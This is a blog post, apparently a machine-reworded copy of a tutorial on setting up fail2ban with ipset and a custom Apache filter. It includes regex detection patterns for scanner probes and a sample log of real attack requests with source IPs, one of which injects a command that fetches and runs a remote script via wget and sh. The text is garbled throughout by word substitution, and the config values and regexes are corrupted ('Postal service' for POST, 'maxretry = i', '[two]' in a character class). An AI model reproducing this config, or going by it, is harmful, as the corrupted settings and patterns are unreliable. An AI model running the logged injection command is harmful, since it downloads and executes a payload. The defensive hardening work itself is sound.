Which Fail2ban Filters I Need

One affair that comes with the territory when running servers (awarding servers or otherwise) is the incessant attacks and intrusion attempts that occur.  Nearly of these are simply querying your server looking for older versions of server applications to exploit (I'm looking at yous myphpadmin and wordpress...).

I've spent quite some time consistently monitoring access logs and agreement various patterns malicious entities use when scanning for exploits.  I find it very interesting (please tell me other people sometimes 'less +F' watch their apache logs while eating tiffin...) and have noticed some interesting approaches here.

Anyways, once I empathise the general assail approaches particular to my servers, I normally implement something like the excellent fail2ban to automagically (perma?)ban ip addresses.  Information technology always makes me grinning when I encounter these requests hit my server and so see the (virtual) ban hammer drop on them.

Below encompasses some approaches I use to implement and test fail2ban filters for my apache logs.

Guide

Installing fail2ban and ipset

Let's now install fail2ban on our server.  It's in nearly (if not all) distro parcel managers.

For my ubuntu server:

sudo apt install fail2ban

and for my CentOS server:

sudo yum install fail2ban

Otherwise you can ever clone the fail2ban repo from their GitHub page and then cd to the repo root and do a

sudo python setup.py install          

Annotation: this assumes y'all have the required python packages installed, as outlined here.

Next, we're going to install ipset to manage the blocking on ip addresses.

On Debian/Ubuntu nosotros can do:

sudo apt-get install ipset

On CentOS/Amazon-Linux you would do:

Configuration with make clean jail.local and apache-custom filter

Fail2ban uses a nice inherited approach to configuration files.  All configuration files are in the /etc/fail2ban folder.  Default settings for various jails are kept in thejail.conf file.  It'south recommended that you do NOT modifyjail.conf but instead create a new file (in the same binder) namedjail.local.  Settings in this file will override those constitute injail.conf for each bracketed[...] heading.

This nicely simplifies and keeps make clean the actual configuration file we will use for our jails.  Below you can come across the (local) configuration file we will use.  This file enables ii jails - 1 for SSH and the other for HTTP, HTTPS, and any other ports we might want included in the ban (for the banned ip).

[DEFAULT] ignoreip = 127.0.0.1/8 ten.0.0.0/24  [apache-custom] enabled  = true logpath  = /var/log/apache*/access.log action   = iptables-ipset-proto6[name=apache-custom, port="http,https", protocol=tcp, bantime=0] findtime = 86400 bantime  = -1 maxretry = i  [sshd] enabled  = truthful activity   = iptables-ipset-proto6[name=ssh, port=ssh, protocol=tcp, bantime=0] findtime = 3600 bantime  = -one maxretry = iii

A few notes here.  Add together your own ip addresses or ip address range (CIDR) to ignore in this line.  For example 10.0.0.0/24 volition ignore ten.0.0.0 and ip range [ten.0.0.1 - 10.0.0.255] which is an internal network ip range.

Note thatbantime = -i.  This actually enforces a permanent ban on the banned ips.  You'll also note that I havebantime=0 equally an statement in theaction line.  What's happening hither is that both fail2ban and ipset provide bantime setting functionality.  Fail2ban uses -one to mean a permanent ban, andipset uses 0 to mean a permanent ban.  In whatsoever example, since I want to permanently ban the numpties who are continually attacking my servers - I need both the to a higher place to do this.

Now, importantly, I'm using a fail2ban version > 0.nine.  In 0.9 they slightly inverse the format of configuration files.  In version 0.9 and greater, the bracket name (east.chiliad.[apache-custom]) refers the to filter that will exist used.  In prior version y'all'll demand afilter= line to tell fail2ban what filter to use for your jail.  Filters are found in thefilter.d folder and tell fail2ban the regular expressions that should exist used to flag requests in your apache logs.  See below for theapache-custom filter that we volition be using (yous volition have to create a file name apache-custom.conf in/etc/fail2ban/filter.d with the following contents:

# Fail2Ban configuration file # # Custom regex patterns to ban known (and unwanted) access attempts. # Based off my ain server logs.  [Definition]  badagents = 360Spider|ZmEu|Auto Spider 1.0|zgrab/[0-nine]*\.[0-9a-zA-Z]*|Wget\(.*\)|MauiBot.*|AspiegelBot.*|SemrushBot.*|PHP/.*  failregex = ^.+?:\d+ <HOST> -.*"(Get|Postal service|Head).*HTTP.*(?:%(badagents)s)"$             ^.+?:\d+ <HOST> - - \[.*\] \"\\n\" .*$             ^.+?:\d+ <HOST> -.*"(GET|POST|Head) /*[pP][hH][pP][mM][yY][aA][dD][mM][iI][nN].*$             ^.+?:\d+ <HOST> -.*"(GET|POST|HEAD) /+wp-login\.php.*$             ^.+?:\d+ <HOST> -.*"(Become|Mail service|Caput) /.git/HEAD.*$             ^.+?:\d+ <HOST> -.*"(GET|POST|Head) /TP/public/index\.php.*$             ^.+?:\d+ <HOST> -.*"(Get|POST|HEAD) /admin/login\.php.*$             ^.+?:\d+ <HOST> -.*"(Get|Postal service|HEAD) /allstat\.php.*$             ^.+?:\d+ <HOST> -.*"(Get|Post|Head) /cfg/.*$             ^.+?:\d+ <HOST> -.*"(GET|Mail service|HEAD) /cisco/.*$             ^.+?:\d+ <HOST> -.*"(GET|POST|Caput) /config.*/.*$             ^.+?:\d+ <HOST> -.*"(Become|POST|HEAD) /firmware/.*$             ^.+?:\d+ <HOST> -.*"(GET|POST|HEAD) /linksys/.*$             ^.+?:\d+ <HOST> -.*"(Become|POST|Caput) /login\.cgi.*$             ^.+?:\d+ <HOST> -.*"(Go|Postal service|Head) /phone/.*$             ^.+?:\d+ <HOST> -.*"(Become|POST|HEAD) /polycom/.*$             ^.+?:\d+ <HOST> -.*"(GET|POST|HEAD) /provision.*/.*$             ^.+?:\d+ <HOST> -.*"(Go|POST|Caput) /run\.py.*$             ^.+?:\d+ <HOST> -.*"(Go|Postal service|HEAD) /struts.*$             ^.+?:\d+ <HOST> -.*"(Become|Postal service|HEAD) /wls-wsat.*$             ^.+?:\d+ <HOST> -.*"(Become|POST|HEAD) /wp-config\.php.*$             ^.+?:\d+ <HOST> -.*"(Become|POST|HEAD) /wuwu11\.php.*$             ^.+?:\d+ <HOST> -.*"(Get|Post|HEAD) /wwwroot\.rar.*$             ^.+?:\d+ <HOST> -.*"(GET|Post|Caput) http:.*/[pP][hH][pP][mM][yY][aA][dD][mM][iI][nN].*$             ^.+?:\d+ <HOST> -.*"Mail /rpc/trackback/.*$  ignoreregex =  # DEV Notes: # Current implementation in regex filters assumes vhost_combined type apache logs. # East.grand. LogFormat "%five:%p %h ... # # Writer: Jay Ta'ala

Now, my servers more often than not use the apachevhost_combined format for my logs (this format really helps if you are opposite-proxying for multiple sub-domains for example).  The^.+?:\d+ only tells fail2ban that lines will start with the target domain and port (e.g. confluence.jaytaala.com:443) and then comes the ip to potentially ban (which fail2ban identifies with the<HOST> marker - which is itself a shortcut for a regex expression to capture ip addresses).

Withfailregex we define the regular expressions that volition be used to place request patterns and the ip to ban (one regex for each line).  I won't cover regex stuff here, simply meet if yous can decipher what each regex will be looking for (the funny looking ane is looking for requests to myphpadmin (which I don't use) and is the long fashion to do not-case sensitivity (the shorter way is to apply the mark(?i) - just since fail2ban uses python regex - information technology volition apply it over the whole line - which isn't a problem here really but I simply felt like existence somewhat verbose).

Testing apache-custom filter with log samples

Now, testing to verify that our apache-custom filter is working is extremely important.  Regular expressions are very piece of cake to mess up.  Fail2ban comes with some prissy tools that we can use to test our filter.  We first need something to examination against.  I like to keep a log with actual (attack) requests to my server.  Whenever I notice a new blueprint that I desire to ban, I add an example of the actual request to asamples.log file.  For instance, here is i which has actual requests to my server (and the actual ip addresses they came from - wo unto the ip addresses below, I hereby publicly shame thee!):

confluence.jaytaala.com:443 42.236.48.165 - - [25/May/2018:fourteen:22:46 +m] "GET /login.action?os_destination=%2Flabel%2Fsager HTTP/one.1" 200 10860 "https://confluence.jaytaala.com/login.action?os_destination=%2Flabel%2Fsager" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36; 360Spider" confluence.jaytaala.com:80 185.82.202.29 - - [28/May/2018:13:59:38 +thou] "GET /w00tw00t.at.blackhats.romanaian.anti-sec:) HTTP/1.one" 301 538 "-" "ZmEu" confluence.jaytaala.com:443 36.250.184.140 - - [xiv/Jun/2018:05:55:41 +1000] "POST /pages/viewpage.action HTTP/1.1" 404 10776 "-" "Car Spider i.0" confluence.jaytaala.com:443 107.170.224.220 - - [25/May/2018:07:01:forty +1000] "GET / HTTP/ane.1" 200 10299 "-" "Mozilla/five.0 zgrab/0.ten" confluence.jaytaala.com:80 116.196.125.forty - - [25/May/2018:00:58:47 +1000] "Become /phpMyAdmin/index.php HTTP/ane.1" 301 532 "-" "Mozilla/5.0" confluence.jaytaala.com:eighty 165.227.193.20 - - [14/Jun/2018:00:01:24 +k] "Caput http://13.210.36.191:lxxx/phpmyadmin/ HTTP/1.i" 301 - "-" "Mozilla/five.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36" confluence.jaytaala.com:eighty 143.0.179.17 - - [16/Jun/2018:00:20:21 +one thousand] "Get /wp-login.php HTTP/1.ane" 301 517 "-" "Mozilla/5.0 (Windows NT vi.one; WOW64; rv:xl.0) Gecko/20100101 Firefox/40.1" confluence.jaytaala.com:80 68.54.82.138 - - [17/Jun/2018:00:02:33 +1000] "Get /login.cgi?cli=aa%20aa%27;wget%20http://185.62.190.191/r%20-O%xx-%3E%20/tmp/r;sh%twenty/tmp/r%27$ HTTP/ane.one" 301 677 "-" "Hullo, World" confluence.jaytaala.com:lxxx 189.63.132.27 - - [19/Jun/2018:12:22:09 +m] "GET /cgi/common.cgi HTTP/ane.i" 301 465 "-" "Wget(linux)" confluence.jaytaala.com:443 185.222.210.57 - - [nineteen/Jun/2018:12:41:23 +chiliad] "GET /struts2-showcase/person/editPerson.action HTTP/1.1" 404 34802 "-" "Mozilla/five.0" confluence.jaytaala.com:443 185.222.210.57 - - [nineteen/Jun/2018:12:45:37 +1000] "GET /struts/login.action HTTP/ane.1" 200 11058 "-" "Mozilla/5.0" confluence.jaytaala.com:443 94.102.49.193 - - [xvi/Jun/2018:17:07:31 +chiliad] "\n" 400 3439 "-" "-" confluence.jaytaala.com:80 195.22.127.231 - - [08/Jul/2018:17:07:58 +1000] "Go /.git/HEAD HTTP/one.1" 301 511 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.167 Safari/537.36" confluence.jaytaala.com:fourscore 23.238.35.4 - - [12/Jul/2018:nineteen:07:xi +1000] "Go /cfg/ HTTP/1.one" 301 501 "-" "python-requests/2.eighteen.4" confluence.jaytaala.com:fourscore 119.27.182.223 - - [22/Jul/2018:03:21:52 +m] "Mail /wuwu11.php HTTP/ane.i" 301 476 "-" "Mozilla/5.0" confluence.jaytaala.com:443 52.91.135.205 - - [25/Jul/2018:09:23:57 +1000] "GET /robots.txt HTTP/1.ane" 200 3644 "-" "MauiBot (crawler.feedback+dc@gmail.com)" confluence.jaytaala.com:80 112.13.176.111 - - [26/Jul/2018:19:05:26 +m] "Get /admin/login.php HTTP/1.1" 301 523 "-" "python-requests/2.6.0 CPython/ii.6.six Linux/2.6.32-573.el6.x86_64" confluence.jaytaala.com:80 47.75.xvi.178 - - [06/Aug/2018:xiv:24:22 +chiliad] "Get /wp-config.php HTTP/one.1" 301 262 "-" "Mozilla/5.0" confluence.jaytaala.com:eighty 222.240.241.27 - - [09/Sep/2018:20:09:03 +grand] "Caput /wwwroot.rar HTTP/1.1" 301 187 "-" "Mozilla/4.0 (uniform; MSIE 8.0; Windows NT vi.1; Trident/four.0)" confluence.jaytaala.com:443 187.45.147.213 - - [16/Sep/2018:01:46:39 +1000] "Post /rpc/trackback/19955719 HTTP/1.ane" 200 421 "http://ronghuled.com/annotate/html/?130290.html" "PHP/5.iii.32" confluence.jaytaala.com:eighty 223.104.238.62 - - [22/Sep/2018:00:38:08 +1000] "GET /allstat.php?&_loc=http%3A//world wide web.yoka.com/star/%3Fpopularizeid%3D185&_func=&_act=&_actcom=&_urlid=&_topicid=&_ref=&_browser=Mozilla&_browserv=11&_os=Windows&_screen=1366x768&_pid=185&_uid=&_gid=6166cc5e-3130-7ace-b40f-5fce33e02e31&_tid=a42bec6b-f033-f64a-d0f8-6bb15b7abd21&_psrc=185&_ph=00000000000000000000000000011&_tracid=&_src=&_src_host=world wide web.yoka.com&_sear=&_winsize=47&rad=51654.37223092567 HTTP/1.1" 301 734 "http://www.yoka.com/star/?popularizeid=185" "Mozilla/5.0 (Windows NT 6.one; WOW64; Trident/7.0; rv:11.0) like Gecko" crowd.jaytaala.com:80 80.82.65.62 - - [07/Jun/2019:16:02:05 +1000] "GET /linksys/ HTTP/1.1" 301 517 "-" "python-requests/two.7.0 CPython/2.seven.14 Windows/2012ServerR2" oversupply.jaytaala.com:eighty 89.248.174.17 - - [07/Jun/2019:16:56:32 +1000] "GET /provisioning/ HTTP/1.1" 301 527 "-" "python-requests/2.7.0 CPython/2.7.14 Windows/2012ServerR2" crowd.jaytaala.com:80 89.248.162.145 - - [07/Jun/2019:16:02:45 +1000] "GET /firmware/ HTTP/i.i" 301 519 "-" "python-requests/2.7.0 CPython/2.7.xiv Windows/2012ServerR2" crowd.jaytaala.com:eighty 80.82.78.188 - - [07/Jun/2019:16:02:47 +1000] "GET /cisco/ HTTP/1.i" 301 513 "-" "python-requests/two.7.0 CPython/two.seven.14 Windows/2012ServerR2" crowd.jaytaala.com:80 89.248.172.208 - - [07/Jun/2019:16:11:57 +chiliad] "GET /config/ HTTP/1.ane" 301 515 "-" "python-requests/2.7.0 CPython/2.seven.14 Windows/2012ServerR2" crowd.jaytaala.com:80 185.216.140.33 - - [07/Jun/2019:16:34:twoscore +1000] "GET /polycom/ HTTP/1.i" 301 517 "-" "python-requests/2.7.0 CPython/2.7.14 Windows/2012ServerR2" oversupply.jaytaala.com:eighty 89.248.171.170 - - [07/Jun/2019:xvi:55:47 +1000] "Get /phone/ HTTP/1.1" 301 513 "-" "python-requests/2.seven.0 CPython/2.7.14 Windows/2012ServerR2" crowd.jaytaala.com:lxxx 114.67.232.241 - - [04/Jun/2019:03:09:xl +1000] "Go /TP/public/index.php HTTP/1.1" 301 502 "-" "Mozilla/five.0 (Windows; U; Windows NT 6.0;en-The states; rv:1.ix.2) Gecko/20100115 Firefox/3.6)" confluence.jaytaala.com:443 114.119.161.113 - - [02/April/2020:00:16:53 +1100] "GET /pages/viewinfo.activeness?pageId=19955719 HTTP/one.1" 200 16037 "-" "Mozilla/5.0 (Linux; Android seven.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; AspiegelBot)" confluence.jaytaala.com:443 46.229.168.137 - - [01/Apr/2020:00:00:16 +1100] "Become /login.action?os_destination=%2Flabel%2Fkb-how-to-commodity%2Bkb-how-to-commodity%2Bkb-how-to-article%2Bkb-how-to-article%2Bkb-how-to-article%2Bkb-how-to-commodity%2Bkb-how-to-commodity%2Bkb-how-to-article%2Bkb-how-to-article%2Bkb-how-to-article%3Fids%3D1409030%26ids%3D1409030%26startIndex%3D50 HTTP/1.1" 200 12040 "-" "Mozilla/5.0 (compatible; SemrushBot/six~bl; +http://www.semrush.com/bot.html)" confluence.jaytaala.com:lxxx 116.58.254.252 - - [01/Apr/2020:06:31:38 +1100] "Go /brandish/TKB/Implement+fail2ban+with+custom+apache+filter%2C+ipset%2C+and+a+sample+based+verification+arroyo HTTP/1.ane" 301 647 "-" "PHP/5.3.19" confluence.jaytaala.com:443 41.225.108.165 - - [14/Apr/2020:01:59:fourteen +1000] "Get //wp-login.php HTTP/one.i" 404 35668 "-" "python-requests/2.23.0" jaytaala.com:80 185.234.219.231 - - [18/May/2020:00:35:51 +1000] "GET /run.py HTTP/1.ane" 301 483 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"

Each line has some design that relates to our filter.  For example the first two lines should be identified based on their agents.

Now let's use a great fail2ban tool to exam the sample file confronting our filter directly.  Nosotros tin practise this with the terminal command:

fail2ban-regex /path-to-samples/sample.log /etc/fail2ban/filter.d/apache-custom.conf

This volition test the filter on our sample log.  An instance of the output is given below

$ fail2ban-regex samples.log /etc/fail2ban/filter.d/apache-custom.conf  Running tests =============  Utilize   failregex filter file : apache-custom, basedir: /etc/fail2ban Use         log file : samples.log Utilise         encoding : UTF-8   Results =======  Failregex: 6 total |-  #) [# of hits] regular expression |   1) [4] ^.+?:\d+ <HOST> -.*"(GET|Post|HEAD).*HTTP.*(?:360Spider|ZmEu|Machine Spider ane.0|zgrab/[0-9]*\.[0-9a-zA-Z]*)"$ |   2) [1] ^.+?:\d+ <HOST> -.*"(Go|Post|Head) /*[pP][hH][pP][mM][yY][aA][dD][mM][two][nN].*$ |   3) [i] ^.+?:\d+ <HOST> -.*"(Go|Post|HEAD) http:.*/[pP][hH][pP][mM][yY][aA][dD][mM][two][nN].*$ `-  Ignoreregex: 0 total  Date template hits: |- [# of hits] engagement format |  [6] Day(?P<_sep>[-/])MON(?P=_sep)Yr[ :]?24hour:Minute:Second(?:\.Microseconds)?(?: Zone beginning)? `-  Lines: half dozen lines, 0 ignored, 6 matched, 0 missed [processed in 0.00 sec]

This shows how many regex hits each regex expression picked upward.  The important office is the terminal line.  What we're looking for is0 missed, which means that nosotros caught all our samples.

Enabling and starting fail2ban

Now that we've got our configuration setup, nosotros can enable and start the fail2ban service.

How you do this largely depends on your distro, but for my ubuntu server:

sudo systemctl enable fail2ban sudo systemctl outset fail2ban

On my CentOS servers I needed

sudo chkconfig fail2ban on sudo service fail2ban start

Manually adding / removing ip (or ip ranges)

Yous might need (or want) to add together an ip address to fail2ban manually from fourth dimension to time.  You lot can use thefail2ban-client  commands for this:

manully add ip to a fail2ban jail

sudo fail2ban-client set apache-custom banip <IP-ADDRESS>

manually remove ip (or CIDR) to a fail2ban jail

sudo fail2ban-customer set apache-custom unbanip <IP-ADDRESS>

Supercede<IP-ADDRESS> with the ip accost y'all desire to add/remove from fail2ban.

To DB or not to DB...

Fail2ban 0.9 introduced an integrated SQLite database for bans.  This means that on restarting (fail2ban or your server) the previously banned ip addresses will be rebanned (instead of being lost).  Although this is a great feature, I've establish it does have some downsides - such every bit taking a lot of time to shutdown and startup fail2ban.  On i of my servers, with approximately 6000 banned ips - shutting down fail2ban would take 5 minutes or so, and starting information technology back up would take effectually 10 minutes every bit it (one by one) rebanned each banned ip from the database.

Likewise, peculiarly when developing your fail2ban filters, you might desire to non store previously banned ips (which may have been banned past incorrect regex filters).

If instead yous prefer to disable the database and use the previous fail2ban behaviour, you tin do so past creating a /etc/fail2ban/fail2ban.local (which overrides certain settings in fail2ban.conf) as below:

[Definition]  # Options: dbfile # Notes.: Fix the file for the fail2ban persistent data to be stored. #         A value of ":retentiveness:" means database is only stored in memory #         and data is lost when fail2ban is stopped. #         A value of "None" disables the database. # Values: [ None :memory: FILE ] Default: /var/lib/fail2ban/fail2ban.sqlite3 dbfile = None

Good luck out there...

References

1. https://www.fail2ban.org/wiki/index.php/Main_Page
2. https://regex101.com/

Related articles

Which Fail2ban Filters I Need,

Source: https://confluence.jaytaala.com/display/TKB/Implement+fail2ban+with+custom+apache+filter,+ipset,+and+a+sample+based+verification+approach

Posted by: broadwateruterming.blogspot.com

Share this post